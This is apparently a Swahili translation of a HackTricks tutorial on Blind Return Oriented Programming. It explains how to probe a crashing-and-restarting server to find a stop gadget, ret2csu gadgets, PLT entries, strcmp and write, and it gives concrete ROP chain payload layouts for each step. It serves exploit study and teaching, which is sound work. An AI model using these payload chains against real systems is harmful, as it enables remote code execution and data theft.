BROP - Blind Return Oriented Programming
Last updated
Last updated
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lengo la shambulio hili ni kuwa na uwezo wa kuitumia ROP kupitia overflow ya buffer bila taarifa yoyote kuhusu binary iliyo hatarini. Shambulio hili linategemea hali ifuatayo:
Uthibitisho wa stack na maarifa ya jinsi ya kuichochea.
Programu ya seva inayorejelewa baada ya kuanguka.
Unaweza kupata maelezo zaidi kuhusu michakato hii hapa (BF Forked & Threaded Stack Canaries) na hapa (BF Addresses in the Stack).
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho kinasimamisha utekelezaji na iko mwishoni mwa mnyororo wa ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
Teknolojia hii inatumia gadget ya ret2csu. Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti rsi
na rdi
:
Hizi zingekuwa gadgets:
pop rsi; pop r15; ret
pop rdi; ret
Tazama jinsi kwa gadgets hizo inawezekana kudhibiti hoja 2 za kazi ya kuita.
Pia, angalia kwamba gadget ya ret2csu ina saini ya kipekee sana kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mnyororo kama:
'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP
Ikiwa STOP inatekelezwa, hii kimsingi inamaanisha anwani inayopiga 6 registers kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
Ili kuondoa chaguo hili la mwisho mnyororo mpya kama ifuatavyo unatekelezwa na haupaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga 6 registers:
'A' * offset + canary + rbp + ADDR
Kujua anwani ya gadget ya ret2csu, inawezekana kujua anwani za gadgets za kudhibiti rsi
na rdi
.
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka anwani ya RIP iliyovuja kutoka kwenye stack (ikiwa PIE inatumika). Kuingia za meza zime gawanywa na 16B (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika PLT + 6B pia hakuanguki kwani ni msimbo wa kwanza unaotekelezwa.
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
'A' * offset + canary + rbp + ADDR + STOP
-> hakuna kuanguka
'A' * offset + canary + rbp + (ADDR + 0x6) + STOP
-> hakuna kuanguka
'A' * offset + canary + rbp + (ADDR + 0x10) + STOP
-> hakuna kuanguka
Kazi ya strcmp
inaweka register rdx
kwa urefu wa mfuatano unaolinganishwa. Kumbuka kwamba rdx
ni hoja ya tatu na tunahitaji iwe kubwa kuliko 0 ili baadaye kutumia write
kuvuja programu.
Inawezekana kupata eneo la strcmp
katika PLT kulingana na tabia yake kwa kutumia ukweli kwamba sasa tunaweza kudhibiti hoja 2 za kwanza za kazi:
strcmp(<anwani isiyo ya kusoma>, <anwani isiyo ya kusoma>) -> kuanguka
strcmp(<anwani isiyo ya kusoma>, <anwani ya kusoma>) -> kuanguka
strcmp(<anwani ya kusoma>, <anwani isiyo ya kusoma>) -> kuanguka
strcmp(<anwani ya kusoma>, <anwani ya kusoma>) -> hakuna kuanguka
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia njia ya polepole ya PLT ambayo kimsingi inajumuisha kuita kuingia katika meza ya PLT + 0xb (ambayo inaita dlresolve
) ikifuatwa kwenye stack na nambari ya kuingia ambayo mtu anataka kuchunguza (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
strcmp(<anwani isiyo ya kusoma>, <anwani ya kusoma>) -> kuanguka
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
-> Itakuwa na kuanguka
strcmp(<anwani ya kusoma>, <anwani isiyo ya kusoma>) -> kuanguka
b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
strcmp(<anwani ya kusoma>, <anwani ya kusoma>) -> hakuna kuanguka
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
Kumbuka kwamba:
BROP + 0x7 inaelekeza kwenye pop RSI; pop R15; ret;
BROP + 0x9 inaelekeza kwenye pop RDI; ret;
PLT + 0xb inaelekeza kwenye wito wa dl_resolve.
Baada ya kupata strcmp
inawezekana kuweka rdx
kwa thamani kubwa kuliko 0.
Kumbuka kwamba kawaida rdx
itakuwa tayari na thamani kubwa kuliko 0, hivyo hatua hii inaweza kuwa si ya lazima.
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na katika hatua hii inawezekana kudhibiti hoja 2 na kuweka rdx
kuwa kubwa kuliko 0.
Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
puts(data)
dprintf(fd, data)
write(fd, data, len(data)
Hata hivyo, karatasi ya asili inataja tu ile ya write
, hivyo hebu tuzungumze kuhusu hiyo:
Shida ya sasa ni kwamba hatujui wapi kazi ya write iko ndani ya PLT na hatujui nambari ya fd ya kutuma data kwa socket yetu.
Hata hivyo, tunajua wapi meza ya PLT iko na inawezekana kupata write kulingana na tabia yake. Na tunaweza kuunda michango kadhaa na seva na kutumia FD ya juu tukitumaini kwamba inalingana na baadhi ya michango yetu.
Saini za tabia za kupata kazi hizo:
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Ikiwa kuna data iliyochapishwa, basi puts ilipatikana
'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
Karatasi ya asili: https://www.scs.stanford.edu/brop/bittau-brop.pdf
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)